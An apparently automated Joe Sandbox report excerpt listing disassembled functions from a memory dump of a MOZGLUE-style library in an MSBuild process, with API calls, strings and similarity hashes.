LoadLibraryW.KERNEL32(ntdll.dll,?,6C54C0E9), ref: 6C54C418
GetProcAddress.KERNEL32(00000000,NtQueryVirtualMemory), ref: 6C54C437
FreeLibrary.KERNEL32(?,6C54C0E9), ref: 6C54C44C

Strings

ntdll.dll, xrefs: 6C54C413
NtQueryVirtualMemory, xrefs: 6C54C431

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtQueryVirtualMemory$ntdll.dll
API String ID: 145871493-2623246514
Opcode ID: b7d1dbfb9f005c292d0db7fab1d6b1d0957e666df388b3f68dc5d0a15e3ffd35
Instruction ID: 28b7d2f2d4cd9d2f3ad87db2a4d3d9fe1ab72e7059a30674aa004b3514a71320
Opcode Fuzzy Hash: b7d1dbfb9f005c292d0db7fab1d6b1d0957e666df388b3f68dc5d0a15e3ffd35
Instruction Fuzzy Hash: 5DE09270A013019BDB007B7B8E187397AF8B786305F029256EA04A1720EBB1D8049A58

Function 6C5475B0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C54748B,?), ref: 6C5475B8
GetProcAddress.KERNEL32(00000000,RtlNtStatusToDosError), ref: 6C5475D7
FreeLibrary.KERNEL32(?,6C54748B,?), ref: 6C5475EC

Strings

ntdll.dll, xrefs: 6C5475B3
RtlNtStatusToDosError, xrefs: 6C5475D1

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: RtlNtStatusToDosError$ntdll.dll
API String ID: 145871493-3641475894
Opcode ID: fa5ef25afd686902c7669cf0fa2068358763c8fc8ba326ccd88ea5f6bb077e0a
Instruction ID: 9ce334df4eeca58a0c475155c0a4bdf2a6453220e5b00e806651bf52557ebca0
Opcode Fuzzy Hash: fa5ef25afd686902c7669cf0fa2068358763c8fc8ba326ccd88ea5f6bb077e0a
Instruction Fuzzy Hash: 1AE0BF72B04311ABDF006FABCC48761BAF8E746355F124125F905D5631EB708445DF18

Function 6C547600 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(ntdll.dll,?,6C547592), ref: 6C547608
GetProcAddress.KERNEL32(00000000,NtUnmapViewOfSection), ref: 6C547627
FreeLibrary.KERNEL32(?,6C547592), ref: 6C54763C

Strings

NtUnmapViewOfSection, xrefs: 6C547621
ntdll.dll, xrefs: 6C547603

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: NtUnmapViewOfSection$ntdll.dll
API String ID: 145871493-1050664331
Opcode ID: 2c9418d1da37eda392a955a4fec3144e7b34f0c6d80d4fbec70d2ffd258f94ef
Instruction ID: df80018ef8c2d896fce80872daa5e32e86658962ffc4f15cd1fc6e06bdbcc66e
Opcode Fuzzy Hash: 2c9418d1da37eda392a955a4fec3144e7b34f0c6d80d4fbec70d2ffd258f94ef
Instruction Fuzzy Hash: 05E09A71B003019BDF106BAF8C08725BAB8E71639AF029215E905D1630E770C4049B1C

Function 6C54C1F0 Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 19libraryloaderCOMMON

Download Yara Rule

APIs

LoadLibraryW.KERNEL32(wintrust.dll,?,6C54C1DE,?,00000000,?,00000000,?,6C4F779F), ref: 6C54C1F8
GetProcAddress.KERNEL32(00000000,WinVerifyTrust), ref: 6C54C217
FreeLibrary.KERNEL32(?,6C54C1DE,?,00000000,?,00000000,?,6C4F779F), ref: 6C54C22C

Strings

WinVerifyTrust, xrefs: 6C54C211
wintrust.dll, xrefs: 6C54C1F3

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Library$AddressFreeLoadProc
String ID: WinVerifyTrust$wintrust.dll
API String ID: 145871493-2991032369
Opcode ID: a90bc6962d6d884c1ad3a5ddbd90fa5284ea3566b1a0448bcaf6ebff954c04ef
Instruction ID: d2620bcdf62de4a62ff709e378efdf1929730416e6cadf9cf3d720e51f77d86d
Opcode Fuzzy Hash: a90bc6962d6d884c1ad3a5ddbd90fa5284ea3566b1a0448bcaf6ebff954c04ef
Instruction Fuzzy Hash: 66E0B674B053419BDF007F6BCD187227EF8BB46308F024756E904C1B31E7B494149B58

Function 6C54BE50 Relevance: 7.7, APIs: 5, Instructions: 163memoryCOMMON

Download Yara Rule

APIs

memset.VCRUNTIME140(?,00000000,?,?,6C54BE49), ref: 6C54BEC4
RtlCaptureStackBackTrace.NTDLL ref: 6C54BEDE
memset.VCRUNTIME140(00000000,00000000,-00000008,?,6C54BE49), ref: 6C54BF38
RtlReAllocateHeap.NTDLL ref: 6C54BF83
RtlFreeHeap.NTDLL ref: 6C54BFA6

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Heapmemset$AllocateBackCaptureFreeStackTrace
String ID:
API String ID: 2764315370-0
Opcode ID: b0569bf60d33f4985aa9e2a1aba3a6a31d7ffc3e782a88aa27003fe0006b1325
Instruction ID: 3e2080087e8160be79994314ac0703b26577381d03541ba269ce66b48357f25e
Opcode Fuzzy Hash: b0569bf60d33f4985aa9e2a1aba3a6a31d7ffc3e782a88aa27003fe0006b1325
Instruction Fuzzy Hash: F6518D71A006059FE710DF69CD80BAEB3B2FFC8314F298629D559A7B54D730F9068B80

Function 6C538E00 Relevance: 7.6, APIs: 6, Instructions: 147COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,?,6C52B58D,?,?,?,?,?,?,?,6C55D734,?,?,?,6C55D734), ref: 6C538E6E
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C52B58D,?,?,?,?,?,?,?,6C55D734,?,?,?,6C55D734), ref: 6C538EBF
free.MOZGLUE(?,?,?,?,6C52B58D,?,?,?,?,?,?,?,6C55D734,?,?,?), ref: 6C538F24
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,?,6C52B58D,?,?,?,?,?,?,?,6C55D734,?,?,?,6C55D734), ref: 6C538F46
free.MOZGLUE(?,?,?,?,6C52B58D,?,?,?,?,?,?,?,6C55D734,?,?,?), ref: 6C538F7A
free.API-MS-WIN-CRT-HEAP-L1-1-0(00000000,?,?,?,6C52B58D,?,?,?,?,?,?,?,6C55D734,?,?,?), ref: 6C538F8F

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: c524db3938e2152ce6b1e35bc80d4f85e31fe2ab96a783585c1c105df3a9f463
Instruction ID: ba771b6c81591816e86201ed1b3fe1770ec40618041e6ff6c287654013ef6229
Opcode Fuzzy Hash: c524db3938e2152ce6b1e35bc80d4f85e31fe2ab96a783585c1c105df3a9f463
Instruction Fuzzy Hash: 4B5170B5A012268FEB19CF68DC8066E73B2AF45318F15056AD91AEB740F731F905CB92

Function 6C4F60E0 Relevance: 7.6, APIs: 6, Instructions: 141COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C4F5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4F60F4
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(?,00000000,?,6C4F5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4F6180
free.MOZGLUE(?,?,?,?,6C4F5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C4F6211
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,00000000,?,6C4F5FDE,?,?,?,?,?,?,?,?,?,?,00000000,00000000), ref: 6C4F6229
free.MOZGLUE(?,?,?,?,6C4F5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C4F625E
free.API-MS-WIN-CRT-HEAP-L1-1-0(?,?,?,?,6C4F5FDE,?,?,?,?,?,?,?,?,?,?,00000000), ref: 6C4F6271

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 1b6e8102158beee00c464297c725bf1ef12f857313c98361dd2a8f19f2fb9d82
Instruction ID: dabdb57a87d17027f4f635be1cdd3c3205517a34be5d1826c8574a5dd968c7bf
Opcode Fuzzy Hash: 1b6e8102158beee00c464297c725bf1ef12f857313c98361dd2a8f19f2fb9d82
Instruction Fuzzy Hash: E651BDB0A012068FEB10DFA8D980FAEB7B5EF85348F11043DC566D7712EB31A916CB51

Function 6C5327E0 Relevance: 7.6, APIs: 6, Instructions: 136COMMON

Download Yara Rule

APIs

malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000001,?,6C532620,?,?,?,6C5260AA,6C525FCB,6C5279A3), ref: 6C53284D
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C532620,?,?,?,6C5260AA,6C525FCB,6C5279A3), ref: 6C53289A
free.MOZGLUE(?,?,?,6C532620,?,?,?,6C5260AA,6C525FCB,6C5279A3), ref: 6C5328F1
malloc.API-MS-WIN-CRT-HEAP-L1-1-0(00000004,?,6C532620,?,?,?,6C5260AA,6C525FCB,6C5279A3), ref: 6C532910
free.MOZGLUE(00000001,?,?,6C532620,?,?,?,6C5260AA,6C525FCB,6C5279A3), ref: 6C53293C
free.API-MS-WIN-CRT-HEAP-L1-1-0(00200000,?,?,6C532620,?,?,?,6C5260AA,6C525FCB,6C5279A3), ref: 6C53294E

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: freemalloc
String ID:
API String ID: 3061335427-0
Opcode ID: 0740bf3d83a1b639f7383e07abed8e1cb95b2c4ef573459f26dd222d290afd2b
Instruction ID: 3dc96490e9063cf1e5abad85bd543aee4a98a2d69eaa86862ef7d2fda0dadc01
Opcode Fuzzy Hash: 0740bf3d83a1b639f7383e07abed8e1cb95b2c4ef573459f26dd222d290afd2b
Instruction Fuzzy Hash: 8341E1B2A007268FEB10CF68DC8836A73F6AB45318F154939D95AEB741F731E944CB91

Function 6C4ECFE0 Relevance: 7.6, APIs: 4, Strings: 1, Instructions: 134memoryCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56E784), ref: 6C4ECFF6
LeaveCriticalSection.KERNEL32(6C56E784), ref: 6C4ED026
VirtualAlloc.KERNEL32(00000000,00100000,00001000,00000004), ref: 6C4ED06C
VirtualFree.KERNEL32(00000000,00100000,00004000), ref: 6C4ED139

Strings

MOZ_CRASH(), xrefs: 6C4ED187

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionVirtual$AllocEnterFreeLeave
String ID: MOZ_CRASH()
API String ID: 1090480015-2608361144
Opcode ID: 3ec622e9b2e51e259e02648e7ba353d205c9fcad991f8d0c699b630140eadded
Instruction ID: b6e18cda871439dcb6d288ef76839cdf72c3783fb38b8da4783084d6a386ad69
Opcode Fuzzy Hash: 3ec622e9b2e51e259e02648e7ba353d205c9fcad991f8d0c699b630140eadded
Instruction Fuzzy Hash: E041C331B022164FDB04CE6E8D91B7AB6B0EB89715F160139E918E7794DBB19C018BC8

Function 6C4E4DE0 Relevance: 7.6, APIs: 5, Instructions: 133stringCOMMON

Download Yara Rule

APIs

?DoubleToAscii@DoubleToStringConverter@double_conversion@@SAXNW4DtoaMode@12@HPADHPA_NPAH3@Z.MOZGLUE ref: 6C4E4E5A
?CreateDecimalRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?,?), ref: 6C4E4E97
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C4E4EE9
memcpy.VCRUNTIME140(?,?,00000000), ref: 6C4E4F02
?CreateExponentialRepresentation@DoubleToStringConverter@double_conversion@@ABEXPBDHHPAVStringBuilder@2@@Z.MOZGLUE(?,?,?,?), ref: 6C4E4F1E

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: String$Double$Converter@double_conversion@@$Builder@2@@CreateRepresentation@$Ascii@DecimalDtoaExponentialMode@12@memcpystrlen
String ID:
API String ID: 713647276-0
Opcode ID: 8b41008ce0508ae769871db261a88bddf759aa64fd7e7ad16789edf78b279321
Instruction ID: e2f93239b6b1dac34e11b0f7647a1b05927d133bd105f172fccc23bbbb9d15e6
Opcode Fuzzy Hash: 8b41008ce0508ae769871db261a88bddf759aa64fd7e7ad16789edf78b279321
Instruction Fuzzy Hash: 0D41CB716087059FC701CFA9C880E5BBBE4BF89395F129A2DF56587B41DB30E918CB91

Function 6C4FC150 Relevance: 7.6, APIs: 5, Instructions: 110stringtimeCOMMON

Download Yara Rule

APIs

strlen.API-MS-WIN-CRT-STRING-L1-1-0 ref: 6C4FC1BC
?Now@TimeStamp@mozilla@@CA?AV12@_N@Z.MOZGLUE(?,00000001), ref: 6C4FC1DC

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: Now@Stamp@mozilla@@TimeV12@_strlen
String ID:
API String ID: 1885715127-0
Opcode ID: 11f3e3118d56f53e4e9dc676f90a265c6f06f470c3c4220fd61173a6ce69f540
Instruction ID: 7758f1d6174aea5be4f4f148732f9dda8273c90bc2d743d887149006f5ece5e3
Opcode Fuzzy Hash: 11f3e3118d56f53e4e9dc676f90a265c6f06f470c3c4220fd61173a6ce69f540
Instruction Fuzzy Hash: 944190B1D08340CFD720DF28C980B9AB7E4AFD9308F41855EE8989B712E7319949CB92

Function 6C54A820 Relevance: 7.6, APIs: 5, Instructions: 106stringCOMMON

Download Yara Rule

APIs

EnterCriticalSection.KERNEL32(6C56F770), ref: 6C54A858
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C54A87B

Part of subcall function 6C54A9D0: memcpy.VCRUNTIME140(?,?,00000400,?,?,?,6C54A88F,00000000), ref: 6C54A9F1

_ltoa_s.API-MS-WIN-CRT-CONVERT-L1-1-0(?,?,00000020,0000000A), ref: 6C54A8FF
strlen.API-MS-WIN-CRT-STRING-L1-1-0(?), ref: 6C54A90C
LeaveCriticalSection.KERNEL32(6C56F770), ref: 6C54A97E

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: CriticalSectionstrlen$EnterLeave_ltoa_smemcpy
String ID:
API String ID: 1355178011-0
Opcode ID: 642096c94f25106d3f151c88a650913310088f6bd66dde716fd81d86b021a7ca
Instruction ID: ebdcb5d2b08e6073d33caa7346f4d6a5508a6db7999bcbe10de17d517b4792e4
Opcode Fuzzy Hash: 642096c94f25106d3f151c88a650913310088f6bd66dde716fd81d86b021a7ca
Instruction Fuzzy Hash: 54419FB4E00248DBDB00DFA8DC45BEEB7B1FF48324F108629E816AB791D731A945CB91

Function 6C4F1530 Relevance: 7.6, APIs: 5, Instructions: 98COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(-00000002,?,6C4F152B,?,?,?,?,6C4F1248,?), ref: 6C4F159C
memcpy.VCRUNTIME140(00000023,?,?,?,?,6C4F152B,?,?,?,?,6C4F1248,?), ref: 6C4F15BC
moz_xmalloc.MOZGLUE(-00000001,?,6C4F152B,?,?,?,?,6C4F1248,?), ref: 6C4F15E7
free.MOZGLUE(?,?,?,?,?,?,6C4F152B,?,?,?,?,6C4F1248,?), ref: 6C4F1606
_invalid_parameter_noinfo_noreturn.API-MS-WIN-CRT-RUNTIME-L1-1-0(?,?,?,?,?,6C4F152B,?,?,?,?,6C4F1248,?), ref: 6C4F1637

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: moz_xmalloc$_invalid_parameter_noinfo_noreturnfreememcpy
String ID:
API String ID: 733145618-0
Opcode ID: ee00c425fd5cb47e8bbfe0b2c2bdefe762650be084b32303a32f5bee7d25ee70
Instruction ID: 12b55226bcc150f98c770cd8b37430f92575b01680ed4c702f9db6ac1776de3c
Opcode Fuzzy Hash: ee00c425fd5cb47e8bbfe0b2c2bdefe762650be084b32303a32f5bee7d25ee70
Instruction Fuzzy Hash: CF31D6B2A001148BDB19CE78D850C6E77A9EBC53747250B6DE833DBBD4EB30D9168791

Function 6C54AD70 Relevance: 7.6, APIs: 5, Instructions: 93COMMON

Download Yara Rule

APIs

moz_xmalloc.MOZGLUE(00000000,?,00000000,?,?,6C55E330,?,6C50C059), ref: 6C54AD9D

Part of subcall function 6C4FCA10: malloc.MOZGLUE(?), ref: 6C4FCA26

memset.VCRUNTIME140(00000000,00000000,00000000,00000000,?,?,6C55E330,?,6C50C059), ref: 6C54ADAC
free.MOZGLUE(?,?,?,?,00000000,?,?,6C55E330,?,6C50C059), ref: 6C54AE01
GetLastError.KERNEL32(?,00000000,?,?,6C55E330,?,6C50C059), ref: 6C54AE1D
GetLastError.KERNEL32(?,00000000,00000000,00000000,?,?,?,00000000,?,?,6C55E330,?,6C50C059), ref: 6C54AE3D

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: ErrorLast$freemallocmemsetmoz_xmalloc
String ID:
API String ID: 3161513745-0
Opcode ID: 2782e00344e9c453b04c78e41db4f18b853261fd0cb9c292602f2a8f964fa6e1
Instruction ID: e81e53dae5ce787b6b810fa7b79ecc15214d5f05a7326cd6ee40e07a95599a39
Opcode Fuzzy Hash: 2782e00344e9c453b04c78e41db4f18b853261fd0cb9c292602f2a8f964fa6e1
Instruction Fuzzy Hash: 4A314FB1A002159FDB50DF7A8C44AABB7F8EF88714F558829E85AD7700E734E814CBA0

Function 6C545EF0 Relevance: 7.6, APIs: 5, Instructions: 89COMMON

Download Yara Rule

APIs

?_Ipfx@?$basic_istream@DU?$char_traits@D@std@@@std@@QAE_N_N@Z.MSVCP140(00000001,00000000,6C55DCA0,?,?,?,6C51E8B5,00000000), ref: 6C545F1F
?sgetc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C51E8B5,00000000), ref: 6C545F4B
?snextc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(00000000,?,6C51E8B5,00000000), ref: 6C545F7B
?clear@?$basic_ios@DU?$char_traits@D@std@@@std@@QAEXH_N@Z.MSVCP140(6E65475B,00000000,?,6C51E8B5,00000000), ref: 6C545F9F
?sbumpc@?$basic_streambuf@DU?$char_traits@D@std@@@std@@QAEHXZ.MSVCP140(?,6C51E8B5,00000000), ref: 6C545FD6

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: D@std@@@std@@U?$char_traits@$?clear@?$basic_ios@?sbumpc@?$basic_streambuf@?sgetc@?$basic_streambuf@?snextc@?$basic_streambuf@Ipfx@?$basic_istream@
String ID:
API String ID: 1389714915-0
Opcode ID: 67ed6a6a4a9477f7bbdb43feb81f0b30ec86f027593a880e27ee5d7db1f500cd
Instruction ID: 0bf109bd0f04701f10296ea655d9207c35c1daf26f768604d7bf31cec69c1733
Opcode Fuzzy Hash: 67ed6a6a4a9477f7bbdb43feb81f0b30ec86f027593a880e27ee5d7db1f500cd
Instruction Fuzzy Hash: 44314C743006009FD710CF29C898E2AB7F9FF89318BA58568F9568BBA5C731EC41CB81

Function 6C4EB4C0 Relevance: 7.6, APIs: 5, Instructions: 84COMMON

Download Yara Rule

APIs

GetModuleHandleW.KERNEL32(00000000), ref: 6C4EB532
moz_xmalloc.MOZGLUE(?), ref: 6C4EB55B
memset.VCRUNTIME140(00000000,00000000,?), ref: 6C4EB56B
wcsncpy_s.API-MS-WIN-CRT-STRING-L1-1-0(00000000,?,?), ref: 6C4EB57E
free.MOZGLUE(00000000), ref: 6C4EB58F

Memory Dump Source

Source File: 00000001.00000002.1830159358.000000006C4E1000.00000020.00000001.01000000.00000009.sdmp, Offset: 6C4E0000, based on PE: true

Associated: 00000001.00000002.1830139935.000000006C4E0000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830280028.000000006C55D000.00000002.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830320837.000000006C56E000.00000004.00000001.01000000.00000009.sdmpDownload File
Associated: 00000001.00000002.1830344622.000000006C572000.00000002.00000001.01000000.00000009.sdmpDownload File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_1_2_6c4e0000_MSBuild.jbxd

Similarity

API ID: HandleModulefreememsetmoz_xmallocwcsncpy_s
String ID:
API String ID: 4244350000-0
Opcode ID: 32d9fc92545b0cd6711fdbac020cbc3ab55de1be1b35db00948adebbaf011f14
Instruction ID: 254a67237494caab309df6fd18d1a2ee032a3e70a4f99fd0848968752b36bb77
Opcode Fuzzy Hash: 32d9fc92545b0cd6711fdbac020cbc3ab55de1be1b35db00948adebbaf011f14
